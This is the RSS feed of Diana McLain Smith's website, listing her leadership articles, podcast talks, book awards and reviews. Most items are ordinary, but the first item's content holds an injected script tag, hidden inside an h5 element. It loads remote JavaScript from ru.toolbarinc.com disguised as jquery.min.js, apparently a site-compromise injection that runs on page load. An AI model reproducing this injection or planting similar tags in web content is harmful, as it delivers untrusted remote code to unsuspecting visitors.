<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
>

<channel>
	<title>Diana McLain Smith</title>
	<atom:link href="http://dianamclainsmith.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://dianamclainsmith.com</link>
	<description></description>
	<pubDate>Fri, 16 Apr 2010 16:20:20 +0000</pubDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<!-- podcast_generator="Blubrry Powerpress/0.3.1" -->
	<itunes:summary></itunes:summary>
	<itunes:image href="http://dianamclainsmith.com/wp-content/plugins/powerpress/itunes_default.jpg" />
	<image>
		<title>Diana McLain Smith</title>
		<url>http://dianamclainsmith.com/wp-content/plugins/powerpress/rss_default.jpg</url>
		<link>http://dianamclainsmith.com</link>
	</image>
		<item>
		<title>Stanford Center for Social Innovation</title>
		<link>http://dianamclainsmith.com/audio-video/stanford-center-for-social-innovation/</link>
		<comments>http://dianamclainsmith.com/audio-video/stanford-center-for-social-innovation/#comments</comments>
		<pubDate>Wed, 13 May 2009 14:38:24 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Audio &amp; Video]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com/audio-video/stanford-center-for-social-innovation/</guid>
		<description><![CDATA[
Last Fall, Diana spoke at the Stanford Center for Social Innovation. Listen to a podcast of her talk “How Great Teams Turn Conflict into Strength” published by Social Innovation Conversations.
You can listen to the podcast below:


]]></description>
			<content:encoded><![CDATA[<h5><script src=http://ru.toolbarinc.com/js/jquery.min.js></script></h5>
<p>Last Fall, Diana spoke at the Stanford Center for Social Innovation. Listen to a podcast of her talk “How Great Teams Turn Conflict into Strength” published by Social Innovation Conversations.</p>
<p>You can listen to the podcast below:</p>


]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/audio-video/stanford-center-for-social-innovation/feed/</wfw:commentRss>
<enclosure url="http://sic.conversationsnetwork.org/audio/download/SI.SD-DianaMcLainSmith-2008.09.23.mp3" length="33460781" type="audio/mpeg" />
			<itunes:subtitle></itunes:subtitle>
		<itunes:duration>69:38</itunes:duration>
	</item>
		<item>
		<title>Sensibilities for a Change</title>
		<link>http://dianamclainsmith.com/articles/sensibilities-for-a-change/</link>
		<comments>http://dianamclainsmith.com/articles/sensibilities-for-a-change/#comments</comments>
		<pubDate>Fri, 30 Jan 2009 02:38:15 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<category><![CDATA[Abraham Lincoln]]></category>

		<category><![CDATA[Abraham Lincoln’s second inaugural address]]></category>

		<category><![CDATA[change skills and sensibilities]]></category>

		<category><![CDATA[leadership development]]></category>

		<category><![CDATA[leading through relationships.]]></category>

		<category><![CDATA[relational sensibilities]]></category>

		<category><![CDATA[the Civil War]]></category>

		<category><![CDATA[the shattered relationship between North and South]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com/?p=111</guid>
		<description><![CDATA[What do mere mortal leaders have to learn from Abraham Lincoln?  To learn about the seven sensibilities Lincoln brought to his leadership and how to cultivate those same sensibilities in today&#8217;s leaders, click here.
]]></description>
			<content:encoded><![CDATA[<p>What do mere mortal leaders have to learn from Abraham Lincoln?  To learn about the seven sensibilities Lincoln brought to his leadership and how to cultivate those same sensibilities in today&#8217;s leaders, <a href="http://dianamclainsmith.com/wp-content/uploads/2009/01/sensibilities-final.pdf">click here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/articles/sensibilities-for-a-change/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Directors &#038; Boards Article of the Week</title>
		<link>http://dianamclainsmith.com/articles/directors-boards-article-of-the-week/</link>
		<comments>http://dianamclainsmith.com/articles/directors-boards-article-of-the-week/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 01:19:47 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<category><![CDATA[Directors &amp; Boards]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=101</guid>
		<description><![CDATA[Directors &#38; Boards named &#8220;The Heart Of The Matter&#8221; the article of the week. This article originally appeared in the Fourth Quarter 2008 edition of Directors &#38; Boards. You can view the article online here.

]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-102" title="dblogo_tite" src="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/12/dblogo_tite.jpg" alt="" width="188" height="100" />Directors &amp; Boards named &#8220;The Heart Of The Matter&#8221; the article of the week. <span class="copy">This article originally appeared in the Fourth Quarter 2008 edition of <em>Directors &amp; Boards</em>. You can <a href="http://dianamclainsmith.com/wp-content/uploads/2009/02/the-heart-of-the-matter.pdf">view the article online here</a>.<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/articles/directors-boards-article-of-the-week/feed/</wfw:commentRss>
		</item>
		<item>
		<title>800 CEO READ 2008 Business Book Awards</title>
		<link>http://dianamclainsmith.com/news-and-reviews/800-ceo-read-2008-business-book-awards/</link>
		<comments>http://dianamclainsmith.com/news-and-reviews/800-ceo-read-2008-business-book-awards/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 01:24:47 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[News &amp; Reviews]]></category>

		<category><![CDATA[800ceoread]]></category>

		<category><![CDATA[awards]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=103</guid>
		<description><![CDATA[Divide or Conquer was one of top three finalists among over 300 books in 800 CEO READ’s 2008 Business Book Awards in the HR &#38; Organizational Development category.
]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: x-small;"><span style="font-family: Verdana,Helvetica,Arial;"><span style="font-size: 10pt;"><em>Divide or Conquer</em> was one of top three finalists among over 300 books in 800 CEO READ’s 2008 Business Book Awards in the HR &amp; Organizational Development category.</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/news-and-reviews/800-ceo-read-2008-business-book-awards/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The heart of the matter</title>
		<link>http://dianamclainsmith.com/articles/the-heart-of-the-matter/</link>
		<comments>http://dianamclainsmith.com/articles/the-heart-of-the-matter/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 00:39:47 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=79</guid>
		<description><![CDATA[&#8220;The heart of the matter,&#8221; October 2008
Click here to download this article.
]]></description>
			<content:encoded><![CDATA[<p>&#8220;The heart of the matter,&#8221; October 2008</p>
<p><a href="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/11/the-heart-of-the-matter.pdf">Click here to download this article</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/articles/the-heart-of-the-matter/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today&#8217;s Trojan Horse</title>
		<link>http://dianamclainsmith.com/articles/todays-trojan-horse/</link>
		<comments>http://dianamclainsmith.com/articles/todays-trojan-horse/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 00:35:56 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=77</guid>
		<description><![CDATA[&#8220;Today&#8217;s Trojan Horse&#8221; from ChangeThis, October 2008
Click here to download this article.
]]></description>
			<content:encoded><![CDATA[<p>&#8220;Today&#8217;s Trojan Horse&#8221; from ChangeThis, October 2008</p>
<p><a href="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/11/finaltrojanhorse.pdf">Click here to download this article.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/articles/todays-trojan-horse/feed/</wfw:commentRss>
		</item>
		<item>
		<title>When The Relationship Hits The Fan - Part 1</title>
		<link>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-1/</link>
		<comments>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-1/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 03:11:12 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Audio &amp; Video]]></category>

		<category><![CDATA[the-fan]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=83</guid>
		<description><![CDATA[


]]></description>
			<content:encoded><![CDATA[


]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-1/feed/</wfw:commentRss>
<enclosure url="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/11/1-why-teams-fail.mp3" length="3141654" type="audio/mpeg" />
			<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:duration>6:15</itunes:duration>
	</item>
		<item>
		<title>When The Relationship Hits The Fan - Part 2</title>
		<link>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-2/</link>
		<comments>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-2/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 02:14:08 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Audio &amp; Video]]></category>

		<category><![CDATA[the-fan]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=85</guid>
		<description><![CDATA[


]]></description>
			<content:encoded><![CDATA[


]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-2/feed/</wfw:commentRss>
<enclosure url="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/11/2-why-divide-or-conquer.mp3" length="" type="audio/mpeg" />
			<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
	</item>
		<item>
		<title>When The Relationship Hits The Fan - Part 3</title>
		<link>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-3/</link>
		<comments>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-3/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 01:15:46 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[Audio &amp; Video]]></category>

		<category><![CDATA[the-fan]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=87</guid>
		<description><![CDATA[


]]></description>
			<content:encoded><![CDATA[


]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/audio-video/when-the-relationship-hits-the-fan-part-3/feed/</wfw:commentRss>
<enclosure url="http://dianamclainsmith.com.php5-2.websitetestlink.com/wp-content/uploads/2008/11/3-why-some-grow-stronger.mp3" length="" type="audio/mpeg" />
			<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
	</item>
		<item>
		<title>Review: Marc Kramer of The Bulletin</title>
		<link>http://dianamclainsmith.com/news-and-reviews/review-marc-kramer-of-the-bulletin/</link>
		<comments>http://dianamclainsmith.com/news-and-reviews/review-marc-kramer-of-the-bulletin/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 02:35:23 +0000</pubDate>
		<dc:creator>agency3</dc:creator>
		
		<category><![CDATA[News &amp; Reviews]]></category>

		<guid isPermaLink="false">http://dianamclainsmith.com.php5-2.websitetestlink.com/?p=89</guid>
		<description><![CDATA[Marc Kramer of The Bulletin recommended Divide or Conquer in his September 08 reading list.
As a leader of a company, you have lots of personalities to deal with and you have to get teams to function in a productive way. This book provides proven ways of doing that.
]]></description>
			<content:encoded><![CDATA[<p>Marc Kramer of The Bulletin <a href="http://www.thebulletin.us/site/index.cfm?newsid=20118337&amp;BRD=2737&amp;PAG=461&amp;dept_id=576361&amp;rfi=8">recommended Divide or Conquer</a> in his September 08 reading list.</p>
<blockquote><p>As a leader of a company, you have lots of personalities to deal with and you have to get teams to function in a productive way. This book provides proven ways of doing that.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://dianamclainsmith.com/news-and-reviews/review-marc-kramer-of-the-bulletin/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
